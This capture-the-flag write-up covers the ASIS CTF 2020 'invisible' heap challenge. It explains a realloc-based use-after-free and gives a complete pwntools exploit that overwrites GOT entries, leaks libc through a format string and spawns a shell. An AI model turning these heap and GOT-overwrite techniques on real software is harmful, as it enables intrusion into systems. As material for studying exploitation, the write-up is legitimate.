[ASIS CTF 2020] invisible
invisible
Actually I didn’t participation this CTF. I just solved this challenge for fun. XD
I think this challenge is hard to solve by the writer’s intended solution, so I solved this challenge by unintended solution.
Mitigation
- Relro : Partial RELRO
- Stack : Canary found
- NX : NX enable
- PIE : No PIE (0x400000)
Analyzing
void edit(void)
{
unsigned __int16 v0; // [rsp+Ch] [rbp-4h]
unsigned __int16 v1; // [rsp+Eh] [rbp-2h]
v0 = readint("index: ");
if ( v0 <= 1u && ptr[v0] && (v1 = readint("size: "), v1 <= 0x78u) && realloc(ptr[v0], v1) )
{
*(ptr[v0] + readline("data: ", ptr[v0], v1 - 1)) = 0;
puts("[+] edit: done");
}
else
{
puts("[-] edit: error");
}
}
The edit function will call the realloc
function, so we can free
the chunk and leave dangling pointer
in ptr
by calling realloc(heap_ptr, 0)
.
In addition, we can corrupt the freed chunk by calling realloc(dangling_ptr, origin_size)
.
Libc leak
new(0, 0x58, 'ipwn')
edit(0, 0x00, 'ipwn') #0x60: freed_chunk
edit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -> 0x601ffa
new(1, 0x58, 'ipwn') #0x60: 0x601ffa
edit(1, 0x78, 'ipwn') #0x60: 0x601ffa
delete(1) #0x80: freed_chunk; 0x60: 0x601ffa
new(1, 0x58, '\x00'*14 + p64(e.plt['printf'])[:6]) # free => printf
delete(0) #printf(freed_chunk)
new(0, 0x48, '%11p') #cause fsb.
delete(0) #printf("%11p")
libc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240
log.success('[LIBC] 0x%x'%libc_base)
delete(1) #clean ptr
This script will overwrite free_got
to printf_plt
. (You can understand the reason that why the free_got
overwritten to printf_plt
by looking at the comment. If you want to know detail, then you need to debugging yourself.)
Therefore, if we call the free
function through free_plt
, actually this action is calling the printf_plt
. So we can trigger format string bug
and libc leak
.
Exploit
After that, we can exploit this challenge reliably by overwriting strchr_got
to system
. Even it is very easy. Just repeat the script when we did libc leak
.
new(0, 0x38, 'ipwn') #0x40:
edit(0, 0x00, 'ipwn') #0x40: freed_chunk
edit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -> 0x602012
new(1, 0x38, 'ipwn') #0x40: 0x602012
edit(1, 0x68, 'ipwn') #0x40: 0x602012
delete(1) #0x70: freed_chunk; 0x40: 0x602012
new(1, 0x38, '/bin/sh;' + '\x00'*6 + p64(libc_base + libc.sym['system']))
#strchr => system => strchr(0x602012) => system("/bin/sh")
This script will overwrite strchr_got
to system
.
Just like before, you can understand it by looking at the comment. (For your information, 0x40
data pieces that were left when printf_plt
was written on free_got
are used as sizes to allocate heap.)
from pwn import *
import sys
is_local = len(sys.argv) < 2
e = ELF('./chall')
if is_local:
p = process(e.path)
libc = e.libc
else :
p = remote('69.172.229.147', 9003)
libc = ELF('./libc-2.23.so')
sla = p.sendlineafter
sa = p.sendafter
gol = lambda x:sla(': ', str(x))
go = lambda x:sa(': ', str(x))
def new(idx, size, data) :
sla('> ', '1')
gol(idx)
gol(size)
go(data)
def edit(idx, size, data):
sla('> ', '2')
gol(idx)
gol(size)
if(size > 1):
go(data)
def delete(idx):
sla('> ', '3')
gol(idx)
def main():
new(0, 0x58, 'ipwn')
edit(0, 0x00, 'ipwn')
edit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -> 0x601ffa
new(1, 0x58, 'ipwn') #0x60: 0x601ffa
edit(1, 0x78, 'ipwn') #0x60: 0x601ffa
delete(1) #0x80: freed_chunk; 0x60: 0x601ffa
new(1, 0x58, '\x00'*14 + p64(e.plt['printf'])[:6]) # free => printf
delete(0) #printf(freed_chunk)
new(0, 0x48, '%11p')
delete(0) #printf("%11p")
libc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240
log.success('[LIBC] 0x%x'%libc_base)
delete(1) #clean ptr
#stage 2
new(0, 0x38, 'ipwn') #0x40:
edit(0, 0x00, 'ipwn') #0x40: freed_chunk
edit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -> 0x602012
new(1, 0x38, 'ipwn') #0x40: 0x602012
delete(1) #0x40: 0x602012
new(1, 0x38, '/bin/sh;' + '\x00'*6 + p64(libc_base + libc.sym['system']))
#strchr => system => strchr(0x602012) => system("/bin/sh")
p.interactive()
if __name__ == '__main__':
main()